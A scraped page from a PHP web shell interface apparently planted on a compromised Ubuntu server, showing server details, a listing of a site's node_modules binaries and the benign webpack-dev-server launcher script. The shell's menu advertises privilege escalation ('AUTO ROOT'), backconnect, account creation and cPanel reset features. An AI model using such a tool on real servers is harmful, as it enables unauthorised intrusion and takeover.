Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdg.amatya.biz-8 /
node_modules /
.bin /
[ HOME SHELL ]
Name
Size
Permission
Action
acorn
62
B
-rwxrwxr-x
ansi-html
1.99
KB
-rwxrwxr-x
autoprefixer
554
B
-rwxrwxr-x
browserslist
3.91
KB
-rwxrwxr-x
concat
555
B
-rwxrwxr-x
cssesc
3.03
KB
-rwxrwxr-x
envinfo
6.56
KB
-rwxrwxr-x
he
3.54
KB
-rwxrwxr-x
html-minifier-terser
11.47
KB
-rwxrwxr-x
import-local-fixture
126
B
-rwxrwxr-x
is-docker
105
B
-rwxrwxr-x
jsesc
3.74
KB
-rwxrwxr-x
json5
2.83
KB
-rwxrwxr-x
laravel-mix
5.29
KB
-rwxrwxr-x
miller-rabin
599
B
-rwxrwxr-x
mime
149
B
-rwxrwxr-x
mix
5.29
KB
-rwxrwxr-x
mkdirp
731
B
-rwxrwxr-x
multicast-dns
1.34
KB
-rwxrwxr-x
nanoid
91
B
-rwxrwxr-x
node-which
985
B
-rwxrwxr-x
parser
328
B
-rwxrwxr-x
regjsparser
1.74
KB
-rwxrwxr-x
rimraf
1.83
KB
-rwxrwxr-x
semver
4.26
KB
-rwxrwxr-x
sha.js
991
B
-rwxrwxr-x
svgo
279
B
-rwxrwxr-x
terser
444
B
-rwxrwxr-x
uuid
1.54
KB
-rwxrwxr-x
webpack
3.81
KB
-rwxrwxr-x
webpack-cli
1.18
KB
-rwxrwxr-x
webpack-dev-server
4.3
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : webpack-dev-server
#!/usr/bin/env node /* Based on webpack/bin/webpack.js */ /* eslint-disable no-console */ "use strict"; /** * @param {string} command process to run * @param {string[]} args command line arguments * @returns {Promise<void>} promise */ const runCommand = (command, args) => { const cp = require("child_process"); return new Promise((resolve, reject) => { const executedCommand = cp.spawn(command, args, { stdio: "inherit", shell: true, }); executedCommand.on("error", (error) => { reject(error); }); executedCommand.on("exit", (code) => { if (code === 0) { resolve(); } else { reject(); } }); }); }; /** * @param {string} packageName name of the package * @returns {boolean} is the package installed? */ const isInstalled = (packageName) => { if (process.versions.pnp) { return true; } const path = require("path"); const fs = require("graceful-fs"); let dir = __dirname; do { try { if ( fs.statSync(path.join(dir, "node_modules", packageName)).isDirectory() ) { return true; } } catch (_error) { // Nothing } // eslint-disable-next-line no-cond-assign } while (dir !== (dir = path.dirname(dir))); return false; }; /** * @param {CliOption} cli options * @returns {void} */ const runCli = (cli) => { if (cli.preprocess) { cli.preprocess(); } const path = require("path"); const pkgPath = require.resolve(`${cli.package}/package.json`); // eslint-disable-next-line import/no-dynamic-require const pkg = require(pkgPath); // eslint-disable-next-line import/no-dynamic-require require(path.resolve(path.dirname(pkgPath), pkg.bin[cli.binName])); }; /** * @typedef {Object} CliOption * @property {string} name display name * @property {string} package npm package name * @property {string} binName name of the executable file * @property {boolean} installed currently installed? * @property {string} url homepage * @property {function} preprocess preprocessor */ /** @type {CliOption} */ const cli = { name: "webpack-cli", package: "webpack-cli", binName: "webpack-cli", installed: isInstalled("webpack-cli"), url: "https://github.com/webpack/webpack-cli", preprocess() { process.argv.splice(2, 0, "serve"); }, }; if (!cli.installed) { const path = require("path"); const fs = require("graceful-fs"); const readLine = require("readline"); const notify = `CLI for webpack must be installed.\n ${cli.name} (${cli.url})\n`; console.error(notify); let packageManager; if (fs.existsSync(path.resolve(process.cwd(), "yarn.lock"))) { packageManager = "yarn"; } else if (fs.existsSync(path.resolve(process.cwd(), "pnpm-lock.yaml"))) { packageManager = "pnpm"; } else { packageManager = "npm"; } const installOptions = [packageManager === "yarn" ? "add" : "install", "-D"]; console.error( `We will use "${packageManager}" to install the CLI via "${packageManager} ${installOptions.join( " " )} ${cli.package}".` ); const question = `Do you want to install 'webpack-cli' (yes/no): `; const questionInterface = readLine.createInterface({ input: process.stdin, output: process.stderr, }); // In certain scenarios (e.g. when STDIN is not in terminal mode), the callback function will not be // executed. Setting the exit code here to ensure the script exits correctly in those cases. The callback // function is responsible for clearing the exit code if the user wishes to install webpack-cli. process.exitCode = 1; questionInterface.question(question, (answer) => { questionInterface.close(); const normalizedAnswer = answer.toLowerCase().startsWith("y"); if (!normalizedAnswer) { console.error( "You need to install 'webpack-cli' to use webpack via CLI.\n" + "You can also install the CLI manually." ); return; } process.exitCode = 0; console.log( `Installing '${ cli.package }' (running '${packageManager} ${installOptions.join(" ")} ${ cli.package }')...` ); runCommand(packageManager, installOptions.concat(cli.package)) .then(() => { runCli(cli); }) .catch((error) => { console.error(error); process.exitCode = 1; }); }); } else { runCli(cli); }
Close